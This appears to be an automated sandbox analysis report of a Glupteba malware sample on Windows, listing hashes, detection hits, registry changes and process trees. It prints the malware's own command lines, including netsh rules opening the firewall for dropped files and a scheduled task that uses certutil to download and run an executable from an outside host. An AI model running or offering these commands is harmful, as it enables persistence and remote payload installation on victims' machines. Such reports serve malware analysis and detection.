Analysis
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max time kernel
145s -
max time network
168s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 14:00
Static task
static1
Behavioral task
behavioral1
Sample
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe
Resource
win7-20220414-en
General
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Target
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe
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Size
3.8MB
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MD5
b16ca72088c15d64a392387b106b1418
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SHA1
21bbc86e42b88c32cd122473f6cef150b39146ab
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SHA256
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37
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SHA512
6b5dab2bb221a8f7635345743742d13afcd47ea4b4baaace6c826e3590fd3053cc3eda2d773fcbd43f300eed8b286f20407be3f54d82fb185e011cce0f3a9c43
Malware Config
Signatures
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Glupteba Payload 5 IoCs
Processes:
resource yara_rule behavioral2/memory/1104-131-0x0000000004070000-0x0000000004766000-memory.dmp family_glupteba behavioral2/memory/1104-132-0x0000000000400000-0x0000000001E3A000-memory.dmp family_glupteba behavioral2/memory/2100-137-0x0000000004010000-0x0000000004706000-memory.dmp family_glupteba behavioral2/memory/2100-139-0x0000000000400000-0x0000000001E3A000-memory.dmp family_glupteba behavioral2/memory/4140-150-0x0000000000400000-0x0000000001E3A000-memory.dmp family_glupteba -
Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4244 created 1104 4244 svchost.exe 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe PID 4244 created 4140 4244 svchost.exe csrss.exe PID 4244 created 4140 4244 svchost.exe csrss.exe PID 4244 created 4140 4244 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 4140 csrss.exe 320 patch.exe -
Modifies Windows Firewall 1 TTPs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2632097139-1792035885-811742494-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TwilightFrost = "\"C:\\Windows\\rss\\csrss.exe\"" 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 224 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exedescription ioc process File opened for modification C:\Windows\rss 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe File created C:\Windows\rss\csrss.exe 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 3100 schtasks.exe 2900 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-621 = "Korea Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-742 = "New Zealand Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-751 = "Tonga Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2572 = "Turks and Caicos Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-31 = "Mid-Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1822 = "Russia TZ 1 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1862 = "Russia TZ 6 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-401 = "Arabic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1722 = "Libya Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-632 = "Tokyo Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-211 = "Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-671 = "AUS Eastern Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2452 = "Saint Pierre Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2571 = "Turks and Caicos Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2162 = "Altai Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.execsrss.exepid process 1104 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe 1104 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe 4140 csrss.exe 4140 csrss.exe 4140 csrss.exe 4140 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 1104 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe Token: SeImpersonatePrivilege 1104 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe Token: SeTcbPrivilege 4244 svchost.exe Token: SeTcbPrivilege 4244 svchost.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe Token: SeSystemEnvironmentPrivilege 4140 csrss.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe Token: SeBackupPrivilege 4244 svchost.exe Token: SeRestorePrivilege 4244 svchost.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
svchost.exe7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.execmd.execmd.execsrss.exedescription pid process target process PID 4244 wrote to memory of 2100 4244 svchost.exe 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe PID 4244 wrote to memory of 2100 4244 svchost.exe 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe PID 4244 wrote to memory of 2100 4244 svchost.exe 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe PID 2100 wrote to memory of 3924 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe cmd.exe PID 2100 wrote to memory of 3924 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe cmd.exe PID 3924 wrote to memory of 4964 3924 cmd.exe netsh.exe PID 3924 wrote to memory of 4964 3924 cmd.exe netsh.exe PID 2100 wrote to memory of 3820 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe cmd.exe PID 2100 wrote to memory of 3820 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe cmd.exe PID 3820 wrote to memory of 4100 3820 cmd.exe netsh.exe PID 3820 wrote to memory of 4100 3820 cmd.exe netsh.exe PID 2100 wrote to memory of 4140 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe csrss.exe PID 2100 wrote to memory of 4140 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe csrss.exe PID 2100 wrote to memory of 4140 2100 7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe csrss.exe PID 4244 wrote to memory of 3100 4244 svchost.exe schtasks.exe PID 4244 wrote to memory of 3100 4244 svchost.exe schtasks.exe PID 4244 wrote to memory of 2900 4244 svchost.exe schtasks.exe PID 4244 wrote to memory of 2900 4244 svchost.exe schtasks.exe PID 4244 wrote to memory of 320 4244 svchost.exe patch.exe PID 4244 wrote to memory of 320 4244 svchost.exe patch.exe PID 4140 wrote to memory of 224 4140 csrss.exe bcdedit.exe PID 4140 wrote to memory of 224 4140 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe"C:\Users\Admin\AppData\Local\Temp\7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe"C:\Users\Admin\AppData\Local\Temp\7d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\f02377ff5b23\f02377ff5b23.exe" enable=yes4⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5b16ca72088c15d64a392387b106b1418
SHA121bbc86e42b88c32cd122473f6cef150b39146ab
SHA2567d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37
SHA5126b5dab2bb221a8f7635345743742d13afcd47ea4b4baaace6c826e3590fd3053cc3eda2d773fcbd43f300eed8b286f20407be3f54d82fb185e011cce0f3a9c43
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD5b16ca72088c15d64a392387b106b1418
SHA121bbc86e42b88c32cd122473f6cef150b39146ab
SHA2567d9c2db81c551932c9a9d7964e23f46693e9bb57f3fadcc99a9c92f397fcfe37
SHA5126b5dab2bb221a8f7635345743742d13afcd47ea4b4baaace6c826e3590fd3053cc3eda2d773fcbd43f300eed8b286f20407be3f54d82fb185e011cce0f3a9c43
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memory/224-149-0x0000000000000000-mapping.dmp
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memory/320-147-0x0000000000000000-mapping.dmp
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memory/1104-131-0x0000000004070000-0x0000000004766000-memory.dmpFilesize
7.0MB
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memory/1104-132-0x0000000000400000-0x0000000001E3A000-memory.dmpFilesize
26.2MB
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memory/1104-130-0x0000000003CC2000-0x0000000004069000-memory.dmpFilesize
3.7MB
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memory/2100-136-0x0000000003C62000-0x0000000004009000-memory.dmpFilesize
3.7MB
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memory/2100-139-0x0000000000400000-0x0000000001E3A000-memory.dmpFilesize
26.2MB
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memory/2100-137-0x0000000004010000-0x0000000004706000-memory.dmpFilesize
7.0MB
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memory/2100-133-0x0000000000000000-mapping.dmp
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memory/2900-145-0x0000000000000000-mapping.dmp
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memory/3100-144-0x0000000000000000-mapping.dmp
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memory/3820-138-0x0000000000000000-mapping.dmp
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memory/3924-134-0x0000000000000000-mapping.dmp
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memory/4100-140-0x0000000000000000-mapping.dmp
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memory/4140-146-0x0000000004000000-0x00000000043A7000-memory.dmpFilesize
3.7MB
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memory/4140-141-0x0000000000000000-mapping.dmp
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memory/4140-150-0x0000000000400000-0x0000000001E3A000-memory.dmpFilesize
26.2MB
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memory/4964-135-0x0000000000000000-mapping.dmp